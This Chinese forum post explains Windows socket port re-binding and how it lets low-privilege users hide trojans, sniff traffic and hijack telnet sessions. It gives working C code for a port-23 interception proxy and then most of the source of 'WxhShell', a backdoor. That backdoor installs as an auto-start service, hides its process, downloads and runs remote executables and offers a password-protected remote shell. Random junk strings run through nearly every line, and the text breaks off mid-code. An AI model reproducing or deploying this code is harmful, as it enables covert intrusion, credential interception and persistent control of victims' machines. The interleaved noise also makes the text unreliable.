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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S[y_Ew zq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xfX|AC  
]lyQ*gM  
  saddr.sin_family = AF_INET; ) d'H&c3  
daSx^/$R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u^]Gc p  
W]bytsl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); AEWrrE  
~~"U[G1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9+<A7PM1T  
<Tbl |9  
  这意味着什么?意味着可以进行如下的攻击: p^w)@^f  
rbv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L">jSZW[[  
jJvd!,=)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D_ej%QtB@  
1\/vS$bi(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uhaHY`w  
Ywt9^M|z;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n|Y}M]u,  
G#NbLj`h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v5?)J91  
KkzG#'I1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zZ51jA9x  
qJl DQc-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J%q)6&  
"9Q_lVI|Q  
  #include E;4dlL`*  
  #include A4d3hF~l`  
  #include Wq1OYZ,  
  #include    ~@<o-|#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wpQp1){%Q  
  int main() ?=_w5D.3J  
  { IvQuxs&a  
  WORD wVersionRequested; 9|@5eN:N  
  DWORD ret; &E!m(|6?+  
  WSADATA wsaData; wNFx1u^/)  
  BOOL val; (+zU!9}I1  
  SOCKADDR_IN saddr; Q=[ IO,f  
  SOCKADDR_IN scaddr; Abmi=]\bx  
  int err; `s=Z{bw  
  SOCKET s; 0/z$W.!  
  SOCKET sc; :]8A;`G}  
  int caddsize; xa?auv!  
  HANDLE mt; e_rEu'[av  
  DWORD tid;   /yUKUXi  
  wVersionRequested = MAKEWORD( 2, 2 ); /9D mK%d  
  err = WSAStartup( wVersionRequested, &wsaData ); (&V*~OR  
  if ( err != 0 ) { l;aO"_E1m  
  printf("error!WSAStartup failed!\n"); )N3/;U;  
  return -1; r t)[}+ox  
  } sUxEm}z  
  saddr.sin_family = AF_INET; 0oi.k;  
   wJgGw5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fcohYo5mh  
KNP^k$=)3c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q/@r#  
  saddr.sin_port = htons(23); H#nJWe_9A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &!'R'{/?X  
  { y6G6wk;  
  printf("error!socket failed!\n"); O_ $zK  
  return -1; Yyw3+3  
  } j#p3<V S4  
  val = TRUE; 23bTCp.d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A~0yMww:$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k"/}9[6:U5  
  { x @9rc,by  
  printf("error!setsockopt failed!\n"); fL'Ci;.;+  
  return -1; "18cD5-#  
  } RR/?"d?&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F 6+4Yy+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l[WX77bp=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :8+x&zn  
A&-2f]L tl  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j&8G tE1b  
  { Ck/w:i@>?  
  ret=GetLastError(); 4VsttT  
  printf("error!bind failed!\n"); 'XYjo&w  
  return -1; )7E7K%:b,  
  } (CYQ>)a  
  listen(s,2); Vm I Afe  
  while(1) ?4W6TSW-'  
  { 3Dj>U*fP  
  caddsize = sizeof(scaddr); mv/ Nz?  
  //接受连接请求 3|URlz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @lh]? |*[  
  if(sc!=INVALID_SOCKET) Y31e1   
  { >oAXS\Ts  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9r8bSV3`  
  if(mt==NULL) a?W<<9]  
  { {G|= pM\'  
  printf("Thread Creat Failed!\n"); H:16aaMn(  
  break; .NF3dC\  
  } { "f} }}l  
  } mD?={*7%  
  CloseHandle(mt); {HVsRpNEf  
  } |F ~U  
  closesocket(s); "p>kiNu  
  WSACleanup(); Te^_gdf  
  return 0; Je K0><  
  }   8ux  
  DWORD WINAPI ClientThread(LPVOID lpParam) o7v9xm+  
  { ehMpo BL  
  SOCKET ss = (SOCKET)lpParam; 2 jxh7\zE  
  SOCKET sc; ,v9*|>4  
  unsigned char buf[4096]; TD!c+ ${w  
  SOCKADDR_IN saddr; 7Mh!@Rd_V  
  long num; 1n>AN.nI  
  DWORD val; Q$yQ^ mG  
  DWORD ret; Qg o| \=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X#MC|Fzy@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uxW<Eh4H*  
  saddr.sin_family = AF_INET; )@ .0ai  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OeQ~g-n  
  saddr.sin_port = htons(23); j#H&~f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S09Xe_q  
  { ]4 \6_J&  
  printf("error!socket failed!\n"); %w3tzE1Hq  
  return -1; 7U&<{U<  
  } E@Yq2FBpnn  
  val = 100; ZYTBc#f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7;sF0oB5e  
  { ^|cax| >  
  ret = GetLastError(); EM'#'fBZ>Y  
  return -1; Z =*h9,MY  
  } =cx_3gCr{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lO1]P&@  
  { TSRl@QVy  
  ret = GetLastError(); RAxp2uif  
  return -1; J@4 Z+l9  
  } 0y;1D k!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) reNUIDt/c  
  { !F$o$iq  
  printf("error!socket connect failed!\n"); 92/_!P>  
  closesocket(sc); G8b`>@rZ  
  closesocket(ss); ?ViU%t8J5  
  return -1; 'FG@Rg (  
  } `] Zil8n  
  while(1) X;dUlSi  
  { <$ ` ^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;x u&%n[6@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Uee$5a>(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zhI"++  
  num = recv(ss,buf,4096,0); 0T:U(5Y9  
  if(num>0) 5^{).fig  
  send(sc,buf,num,0); % hRH80W|  
  else if(num==0) `k9a$@Xg  
  break; )6U^!95  
  num = recv(sc,buf,4096,0); Xc G   
  if(num>0) R)]+>M-.  
  send(ss,buf,num,0); e1R<+`]  
  else if(num==0) {"*gX&;~  
  break; (S63:q&g  
  } :CXm@yF~4=  
  closesocket(ss); f(c#1AJE53  
  closesocket(sc); mqQC`Aqx:  
  return 0 ; @dhnpR :L  
  } 6J3<k(#:  
'u:J "  
,mE}#cyY  
========================================================== 6dqI{T-i?  
FMqes5\ 3  
下边附上一个代码,,WXhSHELL jh~E!%d77  
7hKfxw-X@  
========================================================== SJ&+"S&  
S@WT;Q2Z  
#include "stdafx.h" p{O@ts:  
~Z ;.n p(T  
#include <stdio.h> p3cb_  
#include <string.h> ]P4?jKI  
#include <windows.h> 2-@z-XKn  
#include <winsock2.h> F@-8J?Hl:  
#include <winsvc.h> 4{ED~w|  
#include <urlmon.h> jG/@kh*m  
zIc_'Z,b  
#pragma comment (lib, "Ws2_32.lib") EzXi*/  
#pragma comment (lib, "urlmon.lib") "'I |#dKoG  
rCdTn+O2  
#define MAX_USER   100 // 最大客户端连接数 ,y[w`Q\  
#define BUF_SOCK   200 // sock buffer Tl-Ix&37  
#define KEY_BUFF   255 // 输入 buffer qo:t"x^  
7k#0EhN1>  
#define REBOOT     0   // 重启 UH7FIM7kX  
#define SHUTDOWN   1   // 关机 a)rT3gl  
 75T+6 u  
#define DEF_PORT   5000 // 监听端口 \`>f?}4  
a)M3t  
#define REG_LEN     16   // 注册表键长度 ujeN|W  
#define SVC_LEN     80   // NT服务名长度 d{c06(#_  
#9]O92t2UV  
// 从dll定义API 6'1Lu1w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mdy4H[Odq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZtOv'nTD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1,pPLc(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VJ-To}  
cwI3ANV  
// wxhshell配置信息 bMN ]co  
struct WSCFG { wl%I(Cw{]  
  int ws_port;         // 监听端口 3q0S}<h al  
  char ws_passstr[REG_LEN]; // 口令 #i-b|J+%  
  int ws_autoins;       // 安装标记, 1=yes 0=no U{8x.CJ]  
  char ws_regname[REG_LEN]; // 注册表键名 7m;<b$  
  char ws_svcname[REG_LEN]; // 服务名 )xYGJq4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0 TOw4pC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &B} ,xcNO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6G>loNM^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )*9,H|2nS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p 8lm1;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `&FfGftc  
m~8=?R+m  
}; Q^Q6| n  
mC!^`y)  
// default Wxhshell configuration fOz.kK[]  
struct WSCFG wscfg={DEF_PORT, p!+bn,?G  
    "xuhuanlingzhe", W$Z8AZ{E  
    1, .-.b:gdO(  
    "Wxhshell", CWS]821;  
    "Wxhshell",  cjf_,x  
            "WxhShell Service", LTnbBh*mc  
    "Wrsky Windows CmdShell Service", G5!!^p~  
    "Please Input Your Password: ", }ZfdjF8N!  
  1, +Sg+% 8T  
  "http://www.wrsky.com/wxhshell.exe", G$6mtw6[M  
  "Wxhshell.exe" 3F{R$M}  
    }; \!Ap<  
BYb"[qPV  
// 消息定义模块 J''lOj(@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \NQ[w7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kQO5sX$;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QzV%m0  
char *msg_ws_ext="\n\rExit."; ZEG~ek=jM  
char *msg_ws_end="\n\rQuit."; hGU 3DKHT  
char *msg_ws_boot="\n\rReboot..."; Z>ztFU  
char *msg_ws_poff="\n\rShutdown..."; SBamgc  
char *msg_ws_down="\n\rSave to "; :hDv^D?3  
71,GrUV:  
char *msg_ws_err="\n\rErr!"; 'L G )78sk  
char *msg_ws_ok="\n\rOK!"; (xMq(g  
!.w|+-JKO  
char ExeFile[MAX_PATH]; =wFl(Q6J  
int nUser = 0; #[sJKW  
HANDLE handles[MAX_USER]; ,? V YrL  
int OsIsNt; 8k?V&J `  
;H"OZRQ  
SERVICE_STATUS       serviceStatus; 4gn|zSe>^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O]Q8&(  
M~g@y$  
// 函数声明 Bn*QT:SKC  
int Install(void); ;rt\  
int Uninstall(void); vW5>{  
int DownloadFile(char *sURL, SOCKET wsh); hj=k[t|g}  
int Boot(int flag); ZKVM9ofXRi  
void HideProc(void); (FSa>  
int GetOsVer(void); !1`f84d  
int Wxhshell(SOCKET wsl); P&AaD!Qn  
void TalkWithClient(void *cs); j`_tb   
int CmdShell(SOCKET sock); <E7y:%L[Go  
int StartFromService(void); ~!'T!g%C  
int StartWxhshell(LPSTR lpCmdLine); F-2Q3+7$  
/D;cm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CiIIlE4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :<xf'.  
H=*2A!O[_  
// 数据结构和表定义 {&pBy  
SERVICE_TABLE_ENTRY DispatchTable[] = a0hgF_O1  
{ Fhs/<w-  
{wscfg.ws_svcname, NTServiceMain}, _`xhP-,`S  
{NULL, NULL} s~g]`/h$r  
}; U DHMNubB  
#kAk d-QY6  
// 自我安装 oX?~  
int Install(void) gg$:U  
{ *)Pb-c  
  char svExeFile[MAX_PATH]; VoNk.h"T  
  HKEY key; K9S(Xip  
  strcpy(svExeFile,ExeFile); XknbcA|  
NP$ D9#   
// 如果是win9x系统,修改注册表设为自启动 $%5vJiuk  
if(!OsIsNt) { @mEB=X(-l=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {hx=6"@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j]6YLM@5$  
  RegCloseKey(key); +(oExp(!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &}VVr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,/UuXX  
  RegCloseKey(key); ab*O7v  
  return 0; W(PNw2  
    } AnQUdU  
  } &&te(DC\  
} pwo @ S"  
else { Qe]aI7Ei  
2z9N/SyN  
// 如果是NT以上系统,安装为系统服务 %wIb@km  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Uk4G9}I  
if (schSCManager!=0) x6 h53R  
{ __ G=xf  
  SC_HANDLE schService = CreateService b`|,rfq^AZ  
  ( m<|fdS'@  
  schSCManager, `6o5[2V  
  wscfg.ws_svcname, I<hMS6$<LE  
  wscfg.ws_svcdisp, sb</-']a  
  SERVICE_ALL_ACCESS, Fc a_(jw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gr4JaV  
  SERVICE_AUTO_START, nT@FS t  
  SERVICE_ERROR_NORMAL, I6[=tB  
  svExeFile, EK zYL#(i  
  NULL, =_`cY^ib+  
  NULL, 8lF:70wia  
  NULL, ^\3z$ntF  
  NULL, 5>rjL ;  
  NULL 'UB"z{w%  
  ); [<VyH.  
  if (schService!=0) g HKA:j`c  
  { kTo{W]9]  
  CloseServiceHandle(schService); Q6fPqEX=  
  CloseServiceHandle(schSCManager); +$B#] ,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $GIup5  
  strcat(svExeFile,wscfg.ws_svcname); 1K[y)q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -7A2@g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); laaoIL^  
  RegCloseKey(key); &u~%5;  
  return 0; -_BjzA|  
    } .$ 5*v  
  } <Sp>uhet1  
  CloseServiceHandle(schSCManager); Z8WBOf*~e  
} y(jd$GM|  
} iU4Z9z!  
: W0;U  
return 1; '! ~ s=  
} 64f6D"."  
rqhRrG{L|&  
// 自我卸载 ' y_2"  
int Uninstall(void) =v~$&@  
{ @<44wMp  
  HKEY key; Z^GXKOeq  
h($Jo  
if(!OsIsNt) { {D4N=#tl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { / 2h6  
  RegDeleteValue(key,wscfg.ws_regname); L$=a,$  
  RegCloseKey(key); l#|M.V6G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &F|Wk,y  
  RegDeleteValue(key,wscfg.ws_regname); qQCds}<w  
  RegCloseKey(key); Z/b,aZhB  
  return 0; B-tLRLWn   
  } ^-7-jZ@jz  
} [};?;YN  
} Q@.%^1Mp  
else { Z4tc3e  
TV(%e4U=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <"!'>ZUt  
if (schSCManager!=0) P;p;o]  
{ B{lL}"++0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (t"rzH  
  if (schService!=0) 5z"[{ #/  
  { Ms=11C  
  if(DeleteService(schService)!=0) { "S3U]zw0_  
  CloseServiceHandle(schService); k:CSH{s5{  
  CloseServiceHandle(schSCManager); *|)O  
  return 0; 'd9cCQ}  
  } d x"9jFn  
  CloseServiceHandle(schService); p&3~n: Fo  
  } bE2{^5iG  
  CloseServiceHandle(schSCManager); D0 rqte  
} Kg#s<#h  
} :w:ql/?X  
[3io6XG x@  
return 1; V-z F'KI[  
} +c\uBrlZQ;  
gO m%?sg  
// 从指定url下载文件 \`WAG>'l5  
int DownloadFile(char *sURL, SOCKET wsh) )-S;j)(+  
{ T%1Kh'92  
  HRESULT hr; H^8t/h  
char seps[]= "/"; |p":s3K"Hy  
char *token; ]d,#PF  
char *file; R!7a;J}  
char myURL[MAX_PATH]; pOIfKd  
char myFILE[MAX_PATH]; M pLn)  
.;NoKO7)  
strcpy(myURL,sURL); ??XtN.]7  
  token=strtok(myURL,seps); wm/>_  
  while(token!=NULL) K${CHKFf  
  { u %&4[zb  
    file=token; ~,reS:9RZ  
  token=strtok(NULL,seps); {aWfD XB1  
  } ~Ec@hz]js  
tq5o  
GetCurrentDirectory(MAX_PATH,myFILE); +yIO  
strcat(myFILE, "\\"); xwu,<M v `  
strcat(myFILE, file); j% E9@#  
  send(wsh,myFILE,strlen(myFILE),0); (r$QQO) /  
send(wsh,"...",3,0); W[.UM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?XO}6q<tM  
  if(hr==S_OK) 7' TXR[   
return 0; g<N3 L [  
else &}vc^io  
return 1; B~/ejC!  
&3'zG)  
} [N guQ]B.  
<N\#6m  
// 系统电源模块 / lN09j  
int Boot(int flag) EO \@#",a  
{ Fj0h-7L  
  HANDLE hToken; ?iNihE  
  TOKEN_PRIVILEGES tkp; \}NZ] l  
R,[+9U|4V  
  if(OsIsNt) { >)S'`e4Gu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?&r >`H E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vA, tW,  
    tkp.PrivilegeCount = 1; "AMsBvzgo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bL18G(5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >?0f>I%\  
if(flag==REBOOT) { D_Cd^;b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6Pu5 k;H  
  return 0; nv"D  
} ?c# v'c^=h  
else {  Q-Rt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )z2hyGX  
  return 0; [bJAh ` I  
} {t&+abY  
  } p&,2@(Q  
  else { 3W}xYYs] ^  
if(flag==REBOOT) { Wy,Tf*[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <=7^D  
  return 0; vxx7aPjC  
} ' C|yUsBC  
else { >l|dLyiae  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YfOO]{x,X  
  return 0; O{`r.H1',  
} `(?x@Y>.Ht  
} {"w4+m~+te  
|&a[@(N:zf  
return 1; ^)|1T#Tz  
} "M5&&\uT  
Og3bV_,"  
// win9x进程隐藏模块 (_O_zu8_  
void HideProc(void) 9:jZ3U  
{ )9JuQ_ R  
+{S^A)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ce P1mO  
  if ( hKernel != NULL ) *ocbV`  
  { >VWH bo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #3act )m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3RTraF  
    FreeLibrary(hKernel); Gm1vVHAxv  
  } )0NE_AZ?  
w/m ~#`a  
return; SgocHpyg  
} '^Ce9r}  
$N1UEvC%Q  
// 获取操作系统版本 f; 1C)  
int GetOsVer(void) _K"X  
{ :X;AmLf`2u  
  OSVERSIONINFO winfo; ^04|tda  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =!%+ sem  
  GetVersionEx(&winfo); I7nZ9n|KU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z*(lg$A9 M  
  return 1; tkGJ!aUt  
  else >O&:[CgEF  
  return 0; y}bE'Od  
} *T'>-nm]  
s8<)lO<SV.  
// 客户端句柄模块 mME a*9P  
int Wxhshell(SOCKET wsl) h^KLqPBt{  
{ 13nXvYo'  
  SOCKET wsh; "m:4e`_dz  
  struct sockaddr_in client; o-jF?9m  
  DWORD myID; ) Pdl[+a  
P$=Y5   
  while(nUser<MAX_USER) yy6?16@  
{ "cUCB  
  int nSize=sizeof(client); vc_ 5!K%[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2!35Tj"RFE  
  if(wsh==INVALID_SOCKET) return 1; $xf{m9 8  
,@Izx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,,>b=r_r&  
if(handles[nUser]==0) C,xM) V^a  
  closesocket(wsh); ;9hi2_luV  
else %CP:rAd`M.  
  nUser++; \VX~'pkrd/  
  } &m6x*i-5\f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 75V?K  
>9.xFiq<  
  return 0; HwH Wi  
} n8eR?'4  
uI I:Y{G  
// 关闭 socket 0#rv.rJ{  
void CloseIt(SOCKET wsh) !be6}  
{ %?3\gFvBo  
closesocket(wsh); $(6 .K-D  
nUser--; LA.xLU3  
ExitThread(0); 6%B5hv24v  
} lll]FJ1  
^c{,QS{  
// 客户端请求句柄 '}{J;moB  
void TalkWithClient(void *cs) N'nqVYTU  
{ -/.Xf<y58  
ji[O?  
  SOCKET wsh=(SOCKET)cs; {<HL}m@kQ  
  char pwd[SVC_LEN]; 6"Km E}  
  char cmd[KEY_BUFF]; _ s]=g  
char chr[1]; 0NB6S&lI^k  
int i,j; lr[a~ca\  
w$cic  
  while (nUser < MAX_USER) { oO4 Wwi  
l*|^mx^Q  
if(wscfg.ws_passstr) { G w$sL&1m\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i~dW)7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ''Y}Q"  
  //ZeroMemory(pwd,KEY_BUFF); ?5#Ng,8iT  
      i=0; 64^dy V,;  
  while(i<SVC_LEN) { J2`b:%[  
XLK#=YTI  
  // 设置超时 -T4{PM  
  fd_set FdRead; #cBt@SEL'  
  struct timeval TimeOut; -BNlZgk-^  
  FD_ZERO(&FdRead); QJ`#&QRp  
  FD_SET(wsh,&FdRead); \ :8eN}B  
  TimeOut.tv_sec=8; 9K@>{69WQ  
  TimeOut.tv_usec=0; uw@z1'D[i"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n2Oi< )  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pHFh7-vj  
&rX..l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )K8k3]y&  
  pwd=chr[0]; 5O Ob(  
  if(chr[0]==0xd || chr[0]==0xa) { `CI9~h@k  
  pwd=0; \guZc}V]:\  
  break; .[hQ#3)W  
  } %:n1S]Vr  
  i++; 6rEt!v #K[  
    } *Rv eR?kO  
/vl]Oa&U  
  // 如果是非法用户,关闭 socket :>$)Snqo=n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z^Nnt  
} :5G3 uN+\  
xQ62V11R6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8{HeHU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /LM*nN$%  
"3{xa;c  
while(1) { ~pn9x;N%H  
6y,M+{  
  ZeroMemory(cmd,KEY_BUFF); {}?s0U$5  
@.gT&Hq  
      // 自动支持客户端 telnet标准   sQ/7Mc  
  j=0; z= -u89]  
  while(j<KEY_BUFF) { }(AUe5aw`G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >wjWX{&?  
  cmd[j]=chr[0]; aTs5^Kh')  
  if(chr[0]==0xa || chr[0]==0xd) { aC>r5b#:  
  cmd[j]=0; TRrO-  
  break; .9Bimhc6K  
  } :4h4vp<  
  j++; i+yqsYKO  
    } :b;2iBVB  
YNbs* i&  
  // 下载文件  O+1 e  
  if(strstr(cmd,"http://")) { kL^;^!Nt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )#MKOsOct  
  if(DownloadFile(cmd,wsh)) |2X Et\P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =YBwO. !%  
  else 5M{N-L_eC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lph3"a^  
  } -[s*R%w  
  else { 0k>NuIIP  
J={$q1@lq  
    switch(cmd[0]) { -9/YS  
  9U6y<X  
  // 帮助 ;h_"5/#  
  case '?': { t'4hWNR'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?6B)Ek,'X?  
    break; %}P^B^O  
  } MQ2gzKw>  
  // 安装 {o7ibw=E)  
  case 'i': { h[3N/yP  
    if(Install()) c6s*u%+},  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "uCx.Q9 ef  
    else T1;yw1/m5\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P"_x/C(]@J  
    break; &by,uVb=|{  
    } m^h"VH,   
  // 卸载 BnqAv xX  
  case 'r': { =2bW"gs I  
    if(Uninstall()) je.jui"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (`4^|_gw  
    else -:m;ePK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WUAjb,eo  
    break; knpb$eX4  
    } X#5dd.RR  
  // 显示 wxhshell 所在路径 _< 69d  
  case 'p': { "*#$$e53A  
    char svExeFile[MAX_PATH]; ppVjFCv0<  
    strcpy(svExeFile,"\n\r"); ! 2"zz/N{  
      strcat(svExeFile,ExeFile); b ,7:=-D  
        send(wsh,svExeFile,strlen(svExeFile),0); N{iBVl  
    break; 7*OO k"9  
    } 5?k_Q"~  
  // 重启 ~*Ve>4  
  case 'b': { HGB96,o f9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4XQv  
    if(Boot(REBOOT)) JJ ,Fh .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @fT*fv   
    else { W<yh{u&,  
    closesocket(wsh); J'Yj_  
    ExitThread(0); z]Z>+|  
    } W$N_GR'4  
    break; 88d0`6K-9  
    } kX\t0'=]  
  // 关机 v@`#!iu  
  case 'd': { ;f[Ki$7  
